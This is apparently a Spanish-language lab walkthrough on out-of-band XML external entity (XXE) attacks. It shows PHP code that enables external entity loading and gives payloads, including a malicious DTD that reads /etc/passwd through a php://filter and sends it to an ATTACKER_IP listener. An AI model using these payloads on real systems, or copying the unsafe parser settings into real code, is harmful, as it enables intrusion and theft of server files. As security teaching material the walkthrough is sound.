Out-Of-Band XXE
Por otro lado, para demostrar esta vulnerabilidad vamos a ir a http://IP/index.php. La aplicación usa el código de abajo cuando un usuario sube un archivo.
libxml_disable_entity_loader(false); $xmlData = file_get_contents('php://input'); $doc = new DOMDocument(); $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD); $links = $doc->getElementsByTagName('file'); foreach ($links as $link) { $fileLink = $link->nodeValue; $stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())"); $stmt->bind_param("s", $fileLink); $stmt->execute(); if ($stmt->affected_rows > 0) { echo "Link saved successfully."; } else { echo "Error saving link."; } $stmt->close(); }
El código de arriba no devuelve los valores de la información XML subida. Es por esto que usamos el término OOB, ya que la información exfiltrada tiene que ser capturada usando un sservidor controlado por el atacante.
Para este ataque, necesitaremos un servidor que recibirá la información de otros servidores. Podemos usar el módulo http.server de Python aunque hay opciones como Apache o Nginx. Arranca un servidor de python usando el comando python3 -m http.server PUERTO.
Sube un archivo a la aplicación y monitoriza la petición que es mandada a submit.php usando Burp. Redirige la petición al repetidor.

Usando el payload de abajo, reemplaza el valor del archivo XML en la petición y mándalo.
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]> <upload><file>&xxe;</file></upload>
Manda la petición modificada.

Después de mandar la petición HTTP modificada, el servidor Python recibirá una conexión de la máquina víctima. El establecimiento de conexión con el servidor indica que la información sensible puede ser extraída de la aplicación.

Ahora podemos crear un DTD que contenga una entidad externa con un filtro PHP para exfiltrar información de la aplicación web.
Guarda el ejemplo de DTD de abajo con el nombre sample.dtd. El payload de abajo exfiltrará los contenidos de /etc/passwd y mandará la respuesta a nuestro servidor:
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>"> %oobxxe;
Explicación del DTD
El DTD comienza con una declaración de una entidad %cmd que apunta a un recurso del sistema. La entidad %cmd refiere al recurso en el protocolo del filtro PHP php://filter/convert.base64-encode/resource=/etc/passwd devolviendo el contenido de /etc/passwd.El filtro convert.base64-encode encodea el contenido a base664 para evitar problemas de formato. La entidad %oobxxe contiene otra declaración de entidad XML, exfil, la cual tiene un identificador de sistema apuntando al servidor controlado por el atacante. Incluye un parámetro llamado data con %cmd, representando el contenido base64-encodeado de /etc/passwd. Cuando %oobxxe; se parsea, crea la entidad exfil que se conecta al servidor del atacante. El parámetro ?data=%cmd manda el contenido de %cmd encodeado en base64.
Vuelve al repetidor y cambia el payload a:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd"> <upload> <file>&exfil;</file> </upload>

Vuelve a mandar la petición y revisa tu terminal. Recibirás 2 peticiones. La primera es la petición del sample.dtd y la segunda es la petición mandada por la aplicación vulnerable que contiene el /etc/passwd encodeado.

Decodificar la información exfiltrada de base64 mostrará el contenido de /etc/passwd.

